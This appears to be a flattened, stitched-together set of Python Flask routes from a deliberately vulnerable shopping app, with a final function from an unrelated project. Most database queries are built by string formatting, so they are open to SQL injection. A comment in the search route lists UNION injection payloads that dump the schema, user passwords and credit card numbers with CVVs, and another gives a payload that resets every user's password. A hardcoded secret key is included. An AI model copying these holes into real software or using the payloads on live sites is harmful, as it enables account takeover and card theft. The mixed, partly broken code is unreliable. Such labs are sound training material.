def Voucher(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: return redirect(url_for('user.signin')) return render_template("user/Voucher.html", title="Vouchers", user=user)
def vouchers(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None return render_template("shopping/Vouchers.html", user=user)
def recover(username): if 'username' in session: return redirect(url_for('main.home')) conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM users WHERE username='******' ".format(username)) user = c.fetchone() userObj = User(user[0], user[1], user[2], user[3], user[4]) recoverForm = Recover(request.form) if request.method == "POST" and recoverForm.validate(): if recoverForm.answer.data.lower() == userObj.get_answer(): c.execute("UPDATE users SET password='******' WHERE username='******' ".format(recoverForm.password.data, username)) conn.commit() conn.close() flash("Password has been changed!", "success") """ WEAK CODE password'-- (change everyone's password) """ else: flash("Incorrect answer!", "error") return render_template('user/Recover.html', user=None, userObj=userObj, form=recoverForm)
def ShoppingCart(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None original_cost = 0 if 'cart' in session: cart = session['cart'] for item in cart: original_cost += item[3] else: cart = [] result_cost = original_cost if 'voucher' in session: voucher_code = session['voucher'] conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT amount from vouchers where code='{}'".format(voucher_code)) amount = c.fetchone() result_cost -= amount[0] else: voucher_code = "" return render_template("shopping/ShoppingCart.html", user=user, cart=cart, original_cost=original_cost, result_cost=result_cost, voucher_code=voucher_code)
def reviews(productid): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None reviewsform = Reviews(request.form) conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT rowid,* FROM products WHERE rowid={}".format(productid)) product = c.fetchone() c.execute("SELECT * FROM reviews") reviews = c.fetchall() if request.method == "POST" and reviewsform.validate(): c.execute("""INSERT INTO reviews VALUES ("{}", "{}", "{}")""".format( product[0], user.get_username(), reviewsform.reviews.data)) conn.commit() return redirect(url_for('main.reviews', productid=productid)) return render_template("main/Reviews.html", user=user, product=product, reviews=reviews, form=reviewsform)
def FAQ(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None return render_template("main/FAQ.html", user=user)
def load_user(user_id): conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM users WHERE user_id=? ", (user_id, )) conn.commit() user = c.fetchone() conn.close() userObj = User(user[0], user[1], user[2], user[3], user[4]) return userObj
def signInOTP(token): try: current_user.get_username() return redirect(url_for('main.home')) except: user = None s = Serializer('3d6f45a5fc12445dbac2f59c3b6c7cb1', 120) try: # Check if token is valid token = s.loads(token) username = token[0] otp = token[1] expired = False except: expired = True form = OTP(request.form) resetToken = '' if request.method == "POST" and not expired: if form.OTP.data == otp: conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM users WHERE username=?", (username, )) user = c.fetchone() today = str(date.today()) # Check if password has expired if datetime.strptime(today, "%Y-%m-%d").date() >= datetime.strptime( user[5], "%Y-%m-%d").date(): # Generate Token s = Serializer('3d6f45a5fc12445dbac2f59c3b6c7cb1', 300) # Store username in token for authentication resetToken = s.dumps(user[1]).decode('UTF-8') user = None flash("Your password has expired!", "reset") else: # Sign in user userObj = User(user[0], user[1], user[2], user[3], user[4]) if userObj.get_admin() == 'y': login_user(userObj) return redirect(url_for('admin.admin')) else: login_user(userObj) return redirect(url_for('main.home')) else: flash("Invalid OTP", "error") return render_template("user/OTP.html", user=user, form=form, expired=expired, token=resetToken)
def home(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT rowid, * FROM products") products = c.fetchall() conn.close() return render_template("main/Home.html", user=user, products=products)
def About(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM reviews WHERE productid=4") product = c.fetchone() conn.close() return render_template("main/About.html", user=user, product=product)
def Search(product): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None # For search conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute( "SELECT rowid, * FROM products WHERE name = '{}' ".format(product)) results = c.fetchall() print(results) conn.close() """ UNION SQL INJECTION EXFILTRATE DB SCHEMA ' UNION SELECT * FROM x-- (Error: No such table x) ' UNION SELECT '1' FROM sqlite_master-- (Error: SELECTs to the left and right of UNION do not have the same number of result columns) ' UNION SELECT '1', '2', '3', '4', '5', '6', '7', '8' FROM sqlite_master-- (Returns all products) ' UNION SELECT '1', sql, '3', '4', '5', '6', '7', '8' FROM sqlite_master-- (Returns all tables in schema) (After knowing fields in user table) GET ALL USER CREDENTIALS ' UNION SELECT '1', username, '3', '4', password, '6', '7', '8' FROM users-- GET CREDIT CARD DETAILS ' UNION SELECT '1', ccnumber, '3', '4', cvv, '6', '7', '8' FROM paymentdetails-- GET HIDDEN PRODUCTS ' UNION SELECT rowid, name, image, '4', cost_price, '6', '7', '8' FROM products-- """ # Search Form form = SearchForm(request.form) if request.method == "POST": # Pass prodduct into url directly (Weak code) return redirect(url_for('shopping.Search', product=form.Search.data)) return render_template("shopping/Search.html", user=user, products=results, search=product, form=form)
def Products(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT rowid, * FROM products") products = c.fetchall() conn.close() search = SearchForm(request.form) if request.method == "POST": # Pass product into url directly (Weak code) return redirect(url_for('shopping.Search', product=search.Search.data)) return render_template("shopping/Products.html", user=user, form=search, products=products)
def checkout(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None if 'username' in session and 'voucher' in session: url = "http://localhost:5000/api/userVoucher/" + session["username"] response = requests.put(url, json={"code": session["voucher"]}) data = response.json()["data"] if data == "This is a general voucher": data = "" else: data = "" del session['cart'] if 'voucher' in session: del session['voucher'] return render_template("shopping/Checkout.html", data=data, user=user)
def emailus(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) else: user = None contactUsForm = ContactUs(request.form) conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() if request.method == "POST" and contactUsForm.validate(): c.execute( """INSERT INTO query VALUES ("{}", "{}", "{}","{}")""".format( contactUsForm.name.data, contactUsForm.email.data, contactUsForm.subject.data, contactUsForm.message.data)) conn.commit() conn.close() return redirect(url_for('main.emailus')) return render_template("main/Emailus.html", user=user, form=contactUsForm)
def Profile(): if 'username' in session: user = User(session['username'], session['email'], session['password'], session['question'], session['answer']) # get payment information if have conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM paymentdetails WHERE username='******' ".format(user.get_username())) # self define paymentinformation and fetch one and return into payment information variable. paymentinformation = c.fetchone() # get all the 4 attribute from the PaymentInfo.py if paymentinformation: payment_details = PaymentInfo(paymentinformation[1], paymentinformation[2], paymentinformation[3], int(paymentinformation[4])) else: payment_details = PaymentInfo("", "", "", "") else: return redirect(url_for('user.signin')) payment_form = PaymentOptions(request.form) if request.method == "POST" and payment_form.validate(): print("this code is running") conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM paymentdetails WHERE username='******' ".format(user.get_username())) result = c.fetchone() if not result: c.execute("INSERT INTO paymentdetails VALUES ('{}','{}','{}','{}','{}')".format(user.get_username(), payment_form.Name.data, payment_form.CreditCardno.data, payment_form.ExpiryDate.data, payment_form.SecretNumber.data)) conn.commit() conn.close() return redirect(url_for('user.Profile')) else: flash('Only can store 1 card detail') return render_template("user/Profile.html", user=user, form=payment_form, payment_details=payment_details)
def post(self): # Checks if user is logged in try: username = current_user.get_username() return jsonify(data="You are signed in.") except: user = None if request.is_json: username = request.json['username'] password = request.json['password'] else: username = request.form['username'] password = request.form['password'] if not username: response = jsonify({"msg": "Missing username parameter"}) response.status_code = 400 return response if not password: response = jsonify({"msg": "Missing password parameter"}) response.status_code = 400 return response pw_hash = hashlib.sha512(password.encode()).hexdigest() conn = sqlite3.connect(os.path.join(file_directory, "storage.db")) c = conn.cursor() c.execute("SELECT * FROM users WHERE username=? and password=?", (username, pw_hash)) user = c.fetchone() if user == None: response = jsonify(data="Incorrect email or password.") response.status_code = 401 else: user_obj = User(user[0], user[1], user[2], user[3], user[4]) login_user(user_obj) response = jsonify(data="User login successfully.") conn.close() return response
def registerUser(): """Endpoint use to register a user to the system. Sends a welcoming Returns: (str, int) -- Returns a tuple of the JSON object of the newly register user and a http status code. """ # Validate that only the valid User properties from the JSON schema update_self.schema.json schemas_direcotry = os.path.join(current_app.root_path, current_app.config['SCHEMA_FOLDER']) schema_filepath = os.path.join(schemas_direcotry, 'registration.schema.json') try: with open(schema_filepath) as schema_file: schema = json.loads(schema_file.read()) validate(instance=request.json, schema=schema, format_checker=draft7_format_checker) except jsonschema.exceptions.ValidationError as validation_error: return {'code': 400, 'message': validation_error.message}, 400 try: with session_scope() as db_session: new_user = User(first_name=request.json['firstName'], last_name=request.json['lastName'], username=request.json['username'], email=request.json['email'], password=argon2.hash(request.json['password'])) new_user.reset_password = False new_user.is_admin = False db_session.add(new_user) # Commit new user to database making sure of the integrity of the relations. db_session.commit() # Automatically login the user upon succesful registration session['user_id'] = new_user.id # TODO Send confirmation email, for now only sending welcoming email. send(current_app.config['SMTP_USERNAME'], new_user.email, "Welcome to 354TheStars!", "<html><body><p>Welcome to 354TheStars!</p></body></html>", "Welcome to 354TheStars!") if 'cart_id' in session: ephemeral_cart = db_session.query(Cart).filter( Cart.id == session['cart_id']).first() if ephemeral_cart is not None: if new_user.cart is None: ephemeral_cart.user_id = new_user.id else: for ephemeral_cart_line in ephemeral_cart.cart_lines: cart_line = db_session.query(CartLine).filter( CartLine.cart_id == user.cart.id).filter( CartLine.product_id == ephemeral_cart_line.product_id).first() if cart_line is None: user.cart.cart_lines.append( CartLine( product_id=ephemeral_cart_line. product_id, quantity=ephemeral_cart_line.quantity)) elif cart_line.product.quantity + ephemeral_cart_line <= cart_line.product.quantity: cart_line.quantity += ephemeral_cart.quantity session.pop('cart_id') return new_user.to_json(), 200 # else: # new_user.cart = Cart(user_id=new_user.id) # return new_user.to_json(), 200 except DBAPIError as db_error: # In case that the unvalid user was login remove it from session if 'user_id' in session: session.pop('user_id') # Returns an error in case of a integrity constraint not being followed. return { 'code': 400, 'message': re.search('DETAIL: (.*)', db_error.args[0]).group(1) }, 400